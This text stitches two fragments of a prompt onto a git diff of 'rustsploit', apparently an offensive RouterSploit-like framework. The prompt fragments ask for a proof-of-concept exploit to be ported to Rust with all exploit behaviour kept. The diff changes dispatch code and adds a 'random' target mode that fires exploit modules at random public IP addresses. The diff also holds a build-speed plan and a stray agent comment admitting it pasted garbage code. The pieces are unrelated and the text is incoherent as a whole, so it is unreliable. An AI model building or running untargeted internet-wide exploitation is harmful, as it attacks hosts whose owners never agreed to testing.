||||
All internal logic must be routed through this function.
|
||||
|
||||
✅ If any internal function is named run and conflicts with the dispatch entry, rename it (e.g. to execute, exploit, etc.) — but do not change logic.
|
||||
|
||||
✅ The module must compile, follow anyhow::Result<()>, and use proper error propagation (? operator).
|
||||
|
||||
✅ Do not add placeholders, pseudocode, or stubs — this must be real working Rust code.
|
||||
|
||||
✅ Use async/await and retain all networking, parsing, and exploit behavior from the original logic.
|
||||
|
||||
✅ Keep the code idiomatic and modular — preserve structure, variable naming, and async HTTP usage.
|
||||
|
||||
✅ If necessary, clean up variable scoping or imports, but never remove real features.
|
||||
|
||||
✅ keep all comments from the orginal but add two / before comments
|
||||
|
||||
✅ only use the poc and it must be a 1 to 1 convertion
|
||||
|
||||
Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
The code must be 100% pure Rust, fully compatible with Linux operating systems.
|
||||
|
||||
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
|
||||
|
||||
Do not include any comments, explanations, docstrings, sample usage, placeholder code, TODOs, or example outputs. The output must be only the actual source code required for a complete and functional driver.
|
||||
|
||||
The output must be a single, fully compilable Rust source file, containing all necessary use statements, async functions, modules, structs, enums, and logic to support end-to-end operation.
|
||||
|
||||
|
||||
@@ -0,0 +1,155 @@
|
||||
# Plan: Improve Cargo Build/Run Compile Times
|
||||
|
||||
## Context
|
||||
|
||||
Clean build takes **14m 39s** (879s) across 431 compilation units. Incremental rebuilds are already fast (0.6s). The goal is to reduce clean/cold build times — critical for CI, fresh clones, and dependency updates.
|
||||
|
||||
The biggest bottlenecks (from `cargo --timings`):
|
||||
- `rustsploit` final crate: **427s** (361 source files compiled as one unit)
|
||||
- `aws-lc-sys`: **317s** (C library build for rustls crypto — pulled by reqwest & rustls)
|
||||
- `dbus`: **116s** (solely from btleplug — used by 1 file)
|
||||
- `tokio`: **105s**
|
||||
- `darling_core` + `strum_macros`: **182s** (solely from ratatui — used by 1 file)
|
||||
- `regex-automata` (×2): **175s**
|
||||
- `clap_builder`: **76s**
|
||||
- `h2`: **71s**
|
||||
- `serde_derive` + `async-trait`: **135s**
|
||||
- `libssh2-sys`: **62s** (C library for ssh2)
|
||||
- `hickory-proto`: **60s** (used by 1 file)
|
||||
|
||||
---
|
||||
|
||||
## Changes (ordered by impact / risk)
|
||||
|
||||
### 1. Configure lld linker
|
||||
**Savings: ~30-60s | Risk: None | Effort: 2 min**
|
||||
|
||||
`lld` is installed at `/usr/bin/lld` but not configured. The default GNU `ld` is slow for a 110K-line binary.
|
||||
|
||||
Create `.cargo/config.toml`:
|
||||
```toml
|
||||
[target.x86_64-unknown-linux-gnu]
|
||||
linker = "clang"
|
||||
rustflags = ["-C", "link-arg=-fuse-ld=lld"]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 2. Switch rustls crypto from aws-lc-rs to ring
|
||||
**Savings: ~250-280s | Risk: Low | Effort: 5 min**
|
||||
|
||||
`aws-lc-sys` (317s) compiles a massive C library via cmake. It's pulled in because `rustls 0.23` defaults to `aws-lc-rs`. The `ring` backend is functionally equivalent and compiles in ~30-50s.
|
||||
|
||||
`cargo tree -i aws-lc-sys` confirms the chain: `aws-lc-sys → aws-lc-rs → rustls → {reqwest, tokio-rustls, rustsploit}`.
|
||||
|
||||
In `Cargo.toml`:
|
||||
```toml
|
||||
rustls = { version = "0.23", default-features = false, features = ["ring", "logging", "std", "tls12"] }
|
||||
```
|
||||
|
||||
No source code changes — `ring` and `aws-lc-rs` expose the same `rustls::crypto::CryptoProvider` API.
|
||||
|
||||
**File:** `Cargo.toml` line 50
|
||||
|
||||
---
|
||||
|
||||
### 3. Feature-gate btleplug + ratatui + crossterm
|
||||
**Savings: ~300s | Risk: Medium | Effort: 30 min**
|
||||
|
||||
These three crates are used by exactly **one file**: `src/modules/exploits/bluetooth/wpair.rs`. Their transitive cost:
|
||||
|
||||
| Dep chain | Compile time |
|
||||
|-----------|-------------|
|
||||
| btleplug → dbus | 116s |
|
||||
| btleplug → async-trait | 68s |
|
||||
| ratatui → strum_macros | 85s |
|
||||
| ratatui → darling_core | 97s |
|
||||
| ratatui → ratatui-core | 42s |
|
||||
| crossterm | ~15s |
|
||||
|
||||
Confirmed via `cargo tree -i dbus`, `cargo tree -i strum_macros`, `cargo tree -i darling_core` — all solely from btleplug/ratatui.
|
||||
|
||||
**Changes:**
|
||||
|
||||
`Cargo.toml` — add features section, make deps optional:
|
||||
```toml
|
||||
[features]
|
||||
default = []
|
||||
bluetooth = ["dep:btleplug", "dep:ratatui", "dep:crossterm"]
|
||||
```
|
||||
|
||||
```toml
|
||||
btleplug = { version = "0.12", optional = true }
|
||||
ratatui = { version = "0.30", optional = true }
|
||||
crossterm = { version = "0.29", optional = true }
|
||||
```
|
||||
|
||||
`src/modules/exploits/bluetooth/mod.rs` — gate the module:
|
||||
```rust
|
||||
#[cfg(feature = "bluetooth")]
|
||||
pub mod wpair;
|
||||
```
|
||||
|
||||
`build.rs` — skip bluetooth dir when feature is absent. In `generate_dispatch()` (or the `find_modules` walk), check `env::var("CARGO_FEATURE_BLUETOOTH")` and skip paths containing `bluetooth/` when it's not set. This prevents the generated dispatch from referencing `wpair::run` when the module doesn't exist.
|
||||
|
||||
When bluetooth is needed: `cargo build --features bluetooth` or `cargo run --features bluetooth`.
|
||||
|
||||
---
|
||||
|
||||
### 4. Clean up tokio feature flags
|
||||
**Savings: ~5-10s | Risk: None | Effort: 2 min**
|
||||
|
||||
Current line is redundant — `"full"` already includes every named feature plus extras like `test-util`:
|
||||
```toml
|
||||
tokio = { version = "1.51", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
```
|
||||
|
||||
Replace with only what's actually used:
|
||||
```toml
|
||||
tokio = { version = "1.51", features = ["rt-multi-thread", "macros", "net", "io-util", "io-std", "fs", "process", "sync", "time", "signal"] }
|
||||
```
|
||||
|
||||
**File:** `Cargo.toml` line 20
|
||||
|
||||
---
|
||||
|
||||
### 5. Feature-gate hickory DNS
|
||||
**Savings: ~60s | Risk: Low | Effort: 15 min**
|
||||
|
||||
`hickory-proto` (60s) + `hickory-client` are used by exactly **one file**: `src/modules/scanners/dns_recursion.rs`.
|
||||
|
||||
```toml
|
||||
[features]
|
||||
dns = ["dep:hickory-client", "dep:hickory-proto"]
|
||||
```
|
||||
|
||||
```toml
|
||||
hickory-client = { version = "0.25", optional = true }
|
||||
hickory-proto = { version = "0.25", optional = true }
|
||||
```
|
||||
|
||||
Gate in the scanner's `mod.rs` with `#[cfg(feature = "dns")]` and update `build.rs` to skip the module when the feature is absent.
|
||||
|
||||
---
|
||||
|
||||
## Files to modify
|
||||
|
||||
| File | Changes |
|
||||
|------|---------|
|
||||
| `.cargo/config.toml` | **Create** — lld linker config |
|
||||
| `Cargo.toml` | rustls features, optional deps, `[features]` section, tokio cleanup |
|
||||
| `build.rs` | Skip feature-gated module dirs during code generation |
|
||||
| `src/modules/exploits/bluetooth/mod.rs` | `#[cfg(feature = "bluetooth")]` gate |
|
||||
| Scanner mod.rs for dns_recursion | `#[cfg(feature = "dns")]` gate |
|
||||
|
||||
---
|
||||
|
||||
## Verification
|
||||
|
||||
1. `cargo clean && cargo build --timings 2>&1` — compare total time to baseline 879s
|
||||
2. `cargo build --features bluetooth,dns --timings` — verify full build still works
|
||||
3. `cargo run -- --help` — verify binary starts correctly
|
||||
4. `cargo run` — enter shell, run a non-bluetooth module (e.g. `use scanners/port_scanner`, `set target 127.0.0.1`, `run`) to confirm dispatch works
|
||||
5. `cargo build --features bluetooth` — verify bluetooth module compiles and appears in `list modules`
|
||||
|
||||
**Expected result:** Clean build drops from ~879s to ~250-350s (60-70% reduction), with changes 1-3 providing the bulk of the savings.
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 435 KiB After Width: | Height: | Size: 367 KiB |
+277
-719
File diff suppressed because it is too large
Load Diff
+29
-18
@@ -1,13 +1,8 @@
|
||||
use clap::{ArgGroup, Parser};
|
||||
use clap::Parser;
|
||||
|
||||
/// Simple RouterSploit-like CLI in Rust
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command", "api"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
pub command: Option<String>,
|
||||
@@ -24,23 +19,39 @@ pub struct Cli {
|
||||
#[arg(long)]
|
||||
pub api: bool,
|
||||
|
||||
/// API key for authentication (required when --api is used)
|
||||
/// Path to PQ authorized keys file (default: ~/.rustsploit/pq_authorized_keys)
|
||||
#[arg(long, requires = "api")]
|
||||
pub api_key: Option<String>,
|
||||
pub pq_authorized_keys: Option<String>,
|
||||
|
||||
/// Enable hardening mode (auto-rotate API key on suspicious activity)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden: bool,
|
||||
|
||||
/// Network interface to bind API server to (default: 0.0.0.0)
|
||||
#[arg(long, requires = "api", default_value = "0.0.0.0")]
|
||||
/// Network interface to bind API server to (default: 127.0.0.1)
|
||||
#[arg(long, requires = "api", default_value = "127.0.0.1")]
|
||||
pub interface: Option<String>,
|
||||
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
|
||||
/// Enable verbose output (shows detailed operation logs)
|
||||
#[arg(short, long)]
|
||||
pub verbose: bool,
|
||||
|
||||
/// List all available modules and exit
|
||||
#[arg(long)]
|
||||
pub list_modules: bool,
|
||||
|
||||
/// Output format (text, json)
|
||||
#[arg(long, default_value = "text")]
|
||||
pub output_format: Option<String>,
|
||||
|
||||
/// Execute a resource script file on startup
|
||||
#[arg(short = 'r', long = "resource")]
|
||||
pub resource: Option<String>,
|
||||
|
||||
/// Path to PQ host key file (default: ~/.rustsploit/pq_host_key)
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_host_key: Option<String>,
|
||||
|
||||
/// Launch MCP (Model Context Protocol) server over stdio
|
||||
#[arg(long)]
|
||||
pub mcp: bool,
|
||||
}
|
||||
|
||||
@@ -1,7 +1 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
// Keep dispatch file naming consistent with build.rs
|
||||
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let creds_root = Path::new("src/modules/creds");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Generate dispatch function
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found cred module: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,50 +1 @@
|
||||
// Include generated dispatch code in a submodule to avoid name collisions if any
|
||||
// But `include!` effectively pastes code.
|
||||
// The error says `AVAILABLE_MODULES` is defined multiple times.
|
||||
// Ah, `exploit.rs` likely includes `scanner_dispatch.rs` inadvertently?
|
||||
// No, look at error:
|
||||
// `scanner_dispatch.rs:4:1` defined `AVAILABLE_MODULES`
|
||||
// `exploit_dispatch.rs:4:1` defined `AVAILABLE_MODULES`
|
||||
// And `src/commands/mod.rs` likely imports both via `mod exploit` and `mod scanner`?
|
||||
// No, they are separate modules `exploit.rs` and `scanner.rs`.
|
||||
//
|
||||
// Wait, `exploit.rs` has: include!(... exploit_dispatch.rs)
|
||||
// `scanner.rs` has: include!(... scanner_dispatch.rs)
|
||||
// They are in separate files `src/commands/exploit.rs` and `src/commands/scanner.rs`.
|
||||
// They should be separate namespaces.
|
||||
//
|
||||
// Error: `error[E0428]: the name AVAILABLE_MODULES is defined multiple times`
|
||||
// Location: `scanner_dispatch.rs` defined, previous `exploit_dispatch.rs`.
|
||||
// THIS SUGGESTS `scanner.rs` includes BOTH?
|
||||
// OR `exploit.rs` includes BOTH?
|
||||
//
|
||||
// Let's check `exploit.rs` content again.
|
||||
// I see I messed up `exploit.rs` in previous step?
|
||||
// I see:
|
||||
// ```rust
|
||||
// use anyhow::Result;
|
||||
//
|
||||
// // Include generated dispatch code
|
||||
// include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
//
|
||||
// // Re-export run function as `run_exploit` to match previous API usage if needed,
|
||||
// // or cluse anyhow::Result;
|
||||
//
|
||||
// include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
//
|
||||
// pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
// dispatch(module_name, target).await
|
||||
// }
|
||||
// ```
|
||||
// OMG, I pasted `scanner` content INTO `exploit.rs` by accident during the `multi_replace` failure recovery!
|
||||
// `exploit.rs` has garbage content combining exploit and scanner.
|
||||
// I need to reset `exploit.rs`.
|
||||
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
// Re-export run function as `run_exploit` to match previous API usage in mod.rs
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let exploits_root = Path::new("src/modules/exploits");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found exploit: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+540
-56
@@ -1,85 +1,119 @@
|
||||
pub mod exploit;
|
||||
pub mod scanner;
|
||||
pub mod creds;
|
||||
pub mod exploit;
|
||||
pub mod plugins;
|
||||
pub mod scanner;
|
||||
|
||||
use anyhow::Result;
|
||||
// Auto-generated registry of all module categories (from build.rs)
|
||||
mod registry {
|
||||
include!(concat!(env!("OUT_DIR"), "/module_registry.rs"));
|
||||
}
|
||||
|
||||
use anyhow::{Result, Context};
|
||||
use crate::cli::Cli;
|
||||
use crate::config;
|
||||
use crate::utils::normalize_target;
|
||||
use crate::utils::{
|
||||
is_subnet_target, parse_subnet, subnet_host_count,
|
||||
is_mass_scan_target, generate_random_public_ip, parse_exclusions, EXCLUDED_RANGES,
|
||||
};
|
||||
|
||||
/// CLI dispatcher
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
// Target resolution logic...
|
||||
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
|
||||
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
Err(e) => return Err(anyhow::anyhow!("No target specified and global target error: {}", e)),
|
||||
None => return Err(anyhow::anyhow!("No target specified and global target not set")),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
|
||||
};
|
||||
|
||||
let target = normalize_target(&raw)?;
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
exploit::run_exploit(trimmed, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
let trimmed = module.trim_start_matches("scanners/");
|
||||
scanner::run_scan(trimmed, &target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
let trimmed = module.trim_start_matches("creds/");
|
||||
creds::run_cred_check(trimmed, &target).await?;
|
||||
},
|
||||
_ => eprintln!("Unknown command '{}'", command),
|
||||
}
|
||||
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
|
||||
let target = if is_mass_scan_target(&raw) {
|
||||
raw.clone()
|
||||
} else {
|
||||
normalize_target(&raw)?
|
||||
};
|
||||
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
|
||||
|
||||
let module = match cli_args.module.clone() {
|
||||
Some(m) => m,
|
||||
None => String::new(),
|
||||
};
|
||||
|
||||
// Resolve the module name by trimming category prefix
|
||||
let (category, module_name) = match command {
|
||||
"exploit" => ("exploits", module.trim_start_matches("exploits/").to_string()),
|
||||
"scanner" => ("scanners", module.trim_start_matches("scanners/").to_string()),
|
||||
"creds" => ("creds", module.trim_start_matches("creds/").to_string()),
|
||||
"plugins" => ("plugins", module.trim_start_matches("plugins/").to_string()),
|
||||
other => (other, module.clone()),
|
||||
};
|
||||
|
||||
// CIDR auto-expansion: iterate over every IP in the subnet concurrently
|
||||
dispatch_with_cidr(category, &module_name, &target).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive module runner
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
|
||||
tracing::info!(module = %module_path, target = %raw_target, "Starting module execution");
|
||||
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
|
||||
|
||||
// 1. Resolve module using compile-time list
|
||||
let available = discover_modules();
|
||||
|
||||
|
||||
// Fuzzy matching logic
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
|
||||
});
|
||||
|
||||
if let Some(m) = full_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
|
||||
} else if let Some(m) = short_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
|
||||
}
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
// List modules grouped by category
|
||||
// TODO: Could use `list_all_modules` logic from utils if public, or reimplement simply here
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
use colored::*;
|
||||
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
|
||||
|
||||
// Fuzzy matching
|
||||
let best_match = available.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, dist)| dist);
|
||||
|
||||
if let Some((suggestion, dist)) = best_match {
|
||||
if dist < 5 {
|
||||
crate::meprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
|
||||
}
|
||||
}
|
||||
return Ok(());
|
||||
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
};
|
||||
|
||||
// 2. Resolve target
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => {
|
||||
crate::mprintln!("[*] Using global target: {}", t);
|
||||
t
|
||||
}
|
||||
Err(e) => return Err(anyhow::anyhow!("Global target error: {}", e)),
|
||||
None => return Err(anyhow::anyhow!("No global target set")),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified."));
|
||||
@@ -87,31 +121,481 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
let target = normalize_target(&target_str)?;
|
||||
|
||||
// Skip normalization for mass scan targets (random, 0.0.0.0, file paths)
|
||||
let target = if is_mass_scan_target(&target_str) {
|
||||
target_str.clone()
|
||||
} else {
|
||||
normalize_target(&target_str)?
|
||||
};
|
||||
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
match category {
|
||||
"exploits" => exploit::run_exploit(module_name, &target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, &target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, &target).await?,
|
||||
_ => eprintln!("❌ Category '{}' is not supported.", category),
|
||||
}
|
||||
dispatch_with_cidr(category, module_name, &target).await?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Helper to aggregate all available modules from generated constants
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
/// Dispatch a module against a target, with automatic CIDR subnet expansion
|
||||
/// and comma-separated multi-target support.
|
||||
///
|
||||
/// Handles:
|
||||
/// - Single IP/hostname: dispatches directly
|
||||
/// - CIDR subnet: iterates over every IP concurrently
|
||||
/// - Comma-separated list: dispatches each entry (with subnet expansion for CIDRs)
|
||||
async fn dispatch_with_cidr(category: &str, module_name: &str, target: &str) -> Result<()> {
|
||||
use colored::Colorize;
|
||||
|
||||
// Map exploit::AVAILABLE_MODULES -> "exploits/{name}"
|
||||
modules.extend(exploit::AVAILABLE_MODULES.iter().map(|m| format!("exploits/{}", m)));
|
||||
modules.extend(scanner::AVAILABLE_MODULES.iter().map(|m| format!("scanners/{}", m)));
|
||||
modules.extend(creds::AVAILABLE_MODULES.iter().map(|m| format!("creds/{}", m)));
|
||||
// Comma-separated multi-target: split and dispatch each
|
||||
if target.contains(',') {
|
||||
let targets: Vec<&str> = target.split(',').map(|t| t.trim()).filter(|t| !t.is_empty()).collect();
|
||||
let count = targets.len();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Multi-target detected: {} targets — running '{}/{}' against each",
|
||||
count, category, module_name
|
||||
).cyan());
|
||||
|
||||
modules
|
||||
for (i, t) in targets.iter().enumerate() {
|
||||
crate::mprintln!("\n{}", format!(
|
||||
"[*] === Target {}/{}: {} ===", i + 1, count, t
|
||||
).cyan().bold());
|
||||
if let Err(e) = dispatch_single_target(category, module_name, t).await {
|
||||
crate::meprintln!("{}", format!("[!] Target '{}' failed: {:?}", t, e).red());
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!("\n{}", format!(
|
||||
"[*] Multi-target scan complete: {} targets processed", count
|
||||
).green().bold());
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
dispatch_single_target(category, module_name, target).await
|
||||
}
|
||||
|
||||
/// Dispatch a single target (IP/hostname, CIDR subnet, file, or random mass scan).
|
||||
///
|
||||
/// This is the unified framework-level dispatcher that ensures every module
|
||||
/// supports all target types: single IP, CIDR, file-based target lists, and
|
||||
/// random internet scanning — even if the module has no built-in mass scan handler.
|
||||
async fn dispatch_single_target(category: &str, module_name: &str, target: &str) -> Result<()> {
|
||||
use colored::Colorize;
|
||||
use std::sync::{Arc, atomic::{AtomicUsize, Ordering}};
|
||||
|
||||
let is_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
let is_file = !is_random && !is_subnet_target(target) && std::path::Path::new(target).is_file();
|
||||
|
||||
// --- Check if honeypot detection is enabled (global option, default: on) ---
|
||||
// Users can disable with: setg honeypot_detection n
|
||||
// API users can disable with: prompts: { "honeypot_detection": "n" }
|
||||
let honeypot_enabled = {
|
||||
let config = crate::config::get_module_config();
|
||||
if let Some(val) = config.custom_prompts.get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else if let Some(val) = crate::global_options::GLOBAL_OPTIONS.try_get("honeypot_detection") {
|
||||
!matches!(val.to_lowercase().as_str(), "n" | "no" | "false" | "0" | "off" | "disabled")
|
||||
} else {
|
||||
true // enabled by default
|
||||
}
|
||||
};
|
||||
|
||||
// --- Random / Internet-wide mass scan (target == "random" or "0.0.0.0") ---
|
||||
// Framework manages the loop: generates random public IPs, does a TCP port
|
||||
// pre-check (if port is known via setg), enters batch mode so interactive
|
||||
// prompts are asked once and cached for all subsequent hosts.
|
||||
if is_random {
|
||||
let batch_guard = crate::context::enter_batch_mode();
|
||||
crate::mprintln!("{}", format!(
|
||||
"[*] Random mass scan — running '{}/{}' against random public IPs (Ctrl+C to stop)",
|
||||
category, module_name
|
||||
).cyan().bold());
|
||||
|
||||
